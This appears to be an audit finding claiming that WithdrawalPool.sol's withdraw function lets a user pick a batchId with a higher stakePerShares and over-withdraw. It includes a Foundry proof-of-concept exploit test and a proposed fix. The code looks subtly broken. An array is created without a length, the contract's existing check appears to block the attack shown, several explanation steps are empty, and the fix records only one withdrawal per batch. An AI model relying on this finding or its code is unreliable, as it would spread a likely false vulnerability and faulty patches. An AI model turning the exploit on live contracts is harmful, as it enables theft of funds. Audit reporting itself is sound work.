Summary
A critical vulnerability exists in the WithdrawalPool.sol contract's withdraw function, where insufficient validation allows users to manipulate the batchId parameter. This manipulation can lead to unauthorized over-withdrawal of funds, compromising the contract's integrity and resulting in significant financial losses.
Vulnerability Details
The withdraw function in the WithdrawalPool.sol contract accepts user-supplied _batchIds corresponding to _withdrawalIds. The current validation checks are insufficient, allowing users to select arbitrary batchIds that can exploit the contract's logic to withdraw more funds than entitled.
Manipulating batchId for Over-Withdrawal
function withdraw(uint256[] calldata _withdrawalIds, uint256[] calldata _batchIds) external {
address owner = msg.sender;
uint256 amountToWithdraw;
for (uint256 i = 0; i < _withdrawalIds.length; ++i) {
uint256 withdrawalId = _withdrawalIds[i];
Withdrawal memory withdrawal = queuedWithdrawals[_withdrawalIds[i]];
uint256 batchId = _batchIds[i];
WithdrawalBatch memory batch = withdrawalBatches[batchId];
if (withdrawalOwners[withdrawalId] != owner) revert SenderNotAuthorized();
if (
batchId != 0 && withdrawalId <= withdrawalBatches[batchId - 1].indexOfLastWithdrawal
) revert InvalidWithdrawalId();
if (
batchId != 0 &&
withdrawalId > batch.indexOfLastWithdrawal &&
withdrawal.partiallyWithdrawableAmount == 0
) revert InvalidWithdrawalId();
if (withdrawalId <= batch.indexOfLastWithdrawal) {
amountToWithdraw +=
withdrawal.partiallyWithdrawableAmount +
(uint256(batch.stakePerShares) * uint256(withdrawal.sharesRemaining)) /
1e18;
delete queuedWithdrawals[withdrawalId];
delete withdrawalOwners[withdrawalId];
} else {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount;
queuedWithdrawals[withdrawalId].partiallyWithdrawableAmount = 0;
}
}
token.safeTransfer(owner, amountToWithdraw);
emit Withdraw(owner, amountToWithdraw);
}
Explanation:
-
User-Supplied _batchIds: The function allows users to specify which batchId to associate with their withdrawalId.
-
Insufficient Validation: The existing checks do not securely bind withdrawalId to its correct batchId. This loophole permits users to select batchIds that have higher stakePerShares, resulting in over-withdrawal.
Exploiting the Validation Flaw
function testWithdrawManipulatedBatchId() public {
vm.startPrank(user1);
priorityPool.deposit(100e18, false, new bytes[](0));
vm.stopPrank();
vm.startPrank(user1);
lst.transferFrom(user1, address(withdrawalPool), 100e18);
withdrawalPool.queueWithdrawal(user1, 100e18);
vm.stopPrank();
withdrawalPool.addWithdrawalBatch(1, 1e18);
withdrawalPool.addWithdrawalBatch(2, 2e18);
uint256[] memory withdrawalIds = new uint256[]();
uint256[] memory batchIds = new uint256[]();
withdrawalIds[0] = 1;
batchIds[0] = 2;
vm.startPrank(user1);
withdrawalPool.withdraw(withdrawalIds, batchIds);
vm.stopPrank();
uint256 userBalance = token.balanceOf(user1);
assertEq(userBalance, 200e18, "User1 was able to over-withdraw by manipulating batchId");
}
Explanation:
-
Setup:
-
Creating Batches:
-
Attack Execution:
Manipulated batchId: User1 attempts to withdraw using batchId 2 instead of the correct batch.
Over-Withdrawal: Due to the higher stakePerShares, the contract processes the withdrawal as if it were associated with batchId 2, resulting in User1 receiving double the intended amount.
-
Assertion:
Impact
Financial Loss: Unauthorized over-withdrawals can deplete the contract's funds, leading to significant financial losses.
Trust Erosion: Users lose confidence in the platform's security, potentially leading to decreased participation and liquidity.
Unfair Advantage: Malicious users gain disproportionate benefits at the expense of honest participants.
System Integrity: Compromised contract logic undermines the overall integrity and reliability of the staking platform.
Tools Used
Recommendations
To mitigate the identified vulnerability and enhance the security of the withdraw function, implement the following measures:
1. Internal Mapping of withdrawalId to batchId
Instead of relying on user-supplied batchIds, maintain an internal mapping that securely associates each withdrawalId with its corresponding batchId.
mapping(uint256 => uint256) internal withdrawalToBatch;
function _finalizeWithdrawals(uint256 _amount) internal {
uint256 sharesToWithdraw = _getSharesByStake(_amount);
uint256 numWithdrawals = queuedWithdrawals.length;
totalQueuedShareWithdrawals -= sharesToWithdraw;
for (uint256 i = indexOfNextWithdrawal; i < numWithdrawals; ++i) {
uint256 sharesRemaining = queuedWithdrawals[i].sharesRemaining;
if (sharesRemaining < sharesToWithdraw) {
sharesToWithdraw -= sharesRemaining;
continue;
}
if (sharesRemaining > sharesToWithdraw) {
queuedWithdrawals[i] = Withdrawal(
uint128(sharesRemaining - sharesToWithdraw),
uint128(
queuedWithdrawals[i].partiallyWithdrawableAmount +
_getStakeByShares(sharesToWithdraw)
)
);
indexOfNextWithdrawal = i;
withdrawalBatches.push(
WithdrawalBatch(uint128(i - 1), uint128(_getStakeByShares(1 ether)))
);
withdrawalToBatch[i] = withdrawalBatches.length - 1;
} else {
indexOfNextWithdrawal = i + 1;
withdrawalBatches.push(
WithdrawalBatch(uint128(i), uint128(_getStakeByShares(1 ether)))
);
withdrawalToBatch[i] = withdrawalBatches.length - 1;
}
sharesToWithdraw = 0;
break;
}
assert(sharesToWithdraw == 0);
emit WithdrawalsFinalized(_amount);
}
Explanation:
-
Mapping Creation: Introduce a withdrawalToBatch mapping that records the association between each withdrawalId and its corresponding batchId during the finalization process.
-
Secure Association: By handling the mapping internally, the contract ensures that users cannot manipulate batchId values, as they are determined by the contract logic.
2. Remove batchId Parameter from withdraw Function
Eliminate the need for users to supply batchIds during withdrawal, thereby preventing any potential manipulation.
function withdraw(uint256[] calldata _withdrawalIds) external {
address owner = msg.sender;
uint256 amountToWithdraw;
for (uint256 i = 0; i < _withdrawalIds.length; ++i) {
uint256 withdrawalId = _withdrawalIds[i];
Withdrawal memory withdrawal = queuedWithdrawals[withdrawalId];
uint256 batchId = withdrawalToBatch[withdrawalId];
WithdrawalBatch memory batch = withdrawalBatches[batchId];
if (withdrawalOwners[withdrawalId] != owner) revert SenderNotAuthorized();
if (withdrawalId <= batch.indexOfLastWithdrawal) {
amountToWithdraw +=
withdrawal.partiallyWithdrawableAmount +
(uint256(batch.stakePerShares) * uint256(withdrawal.sharesRemaining)) /
1e18;
delete queuedWithdrawals[withdrawalId];
delete withdrawalOwners[withdrawalId];
} else {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount;
queuedWithdrawals[withdrawalId].partiallyWithdrawableAmount = 0;
}
}
token.safeTransfer(owner, amountToWithdraw);
emit Withdraw(owner, amountToWithdraw);
}
Explanation:
-
Simplified Function: By removing the _batchIds parameter, users no longer have the ability to specify or manipulate batchId values.
-
Secure Withdrawal: The contract internally determines the correct batchId using the withdrawalToBatch mapping, ensuring accurate and secure fund distribution.